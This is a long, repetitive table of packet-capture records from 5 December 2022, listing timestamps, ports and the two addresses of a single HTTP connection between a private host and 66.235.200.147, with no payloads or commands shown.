Dec 5, 2022 06:44:36.516304016 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516320944 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516338110 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516350985 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516356945 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516367912 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516375065 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516393900 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516408920 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516412973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516427994 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516433001 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516453028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516468048 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516469002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516488075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516486883 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516508102 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516513109 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516546011 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516554117 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516563892 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516572952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516591072 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516607046 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516622066 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516623974 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516643047 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516653061 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516660929 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516680002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516680956 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516697884 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516700029 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516716003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516717911 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516733885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516741037 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516741037 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516760111 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516782045 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516819000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516835928 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516853094 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516870022 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516885042 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516885996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516902924 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516904116 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516922951 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516938925 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516952991 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516967058 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516972065 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516989946 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516994953 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517007113 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517015934 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517033100 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517054081 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517101049 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517117977 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517136097 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517152071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517162085 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517169952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517187119 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517188072 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517208099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517222881 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517224073 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517241001 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517242908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517260075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517277002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517277002 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517296076 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517298937 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517314911 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517316103 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517333031 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517352104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517352104 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517369032 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517376900 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517376900 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517385960 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517399073 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517402887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517415047 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517421961 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517433882 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517441988 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517452002 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517461061 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517468929 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517486095 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517507076 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517510891 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517529964 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517545938 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517563105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517581940 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517582893 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517600060 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517616987 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517628908 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517644882 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517651081 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517663002 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517671108 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517688990 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517695904 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517707109 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517714977 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517726898 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517733097 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517745018 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517752886 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517764091 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517771006 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517782927 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517787933 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517803907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517806053 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517822027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517822981 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517839909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517847061 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517858982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517864943 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517878056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517882109 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517895937 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517901897 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517915010 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517920017 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517934084 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517937899 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517954111 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517956018 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517971992 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517971992 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.517991066 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.517991066 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518008947 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518008947 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518028021 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518030882 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518045902 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518047094 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518064022 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518064976 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518083096 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518088102 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518101931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518105984 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518121004 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518122911 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518138885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518138885 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518158913 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518174887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518192053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518208027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518224955 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518241882 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518260002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518275976 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518292904 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518297911 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518310070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518326998 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518343925 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518361092 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518367052 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518378019 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518394947 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518395901 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518413067 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518414974 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518435955 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518445969 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518462896 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518477917 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518480062 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518496037 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518500090 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518517971 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518515110 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518515110 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518537045 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518537998 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518554926 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518554926 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518573046 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518579006 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518590927 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518596888 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518610954 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518627882 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518637896 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518637896 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518646002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518659115 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518665075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518676043 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518685102 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518693924 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518702984 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518711090 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518723011 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518729925 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518740892 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518748045 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518759012 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518767118 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518776894 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518785000 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518801928 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518824100 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518825054 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518843889 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518861055 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518887043 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518920898 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518920898 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518920898 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518940926 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518946886 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518963099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518970013 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.518981934 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.518989086 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519001961 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519007921 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519022942 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519025087 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519042015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519042015 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519062042 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519068003 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519081116 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519083977 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519099951 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519102097 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519119024 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519134045 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519138098 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519157887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519175053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519182920 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519195080 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519210100 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519210100 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519216061 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519232035 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519232988 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519248009 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519264936 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519267082 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519287109 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519304991 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519310951 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519321918 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519335985 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519335985 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519341946 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519360065 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519361019 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519376993 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519381046 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519395113 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519437075 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519438028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519457102 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519474983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519484043 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519494057 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519509077 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519509077 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519514084 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519527912 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519532919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519551992 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519555092 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519571066 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519587994 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519592047 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519608974 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519627094 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519633055 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519646883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519660950 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519660950 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519666910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519685984 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519689083 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519704103 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519706011 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519721985 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519728899 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519747019 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519766092 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519778013 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519783974 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519798994 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519802094 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519819975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519834042 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519838095 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519853115 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519860029 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519881010 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519891024 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519900084 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519910097 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519918919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519937992 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519946098 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519956112 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519963026 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519974947 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.519990921 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.519992113 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520008087 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520011902 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520026922 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520031929 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520045996 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520051003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520067930 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520070076 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520067930 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520087957 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520090103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520107985 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.520109892 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520133018 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.520138979 CET	80	49704	66.235.200.147	192.168.2.3
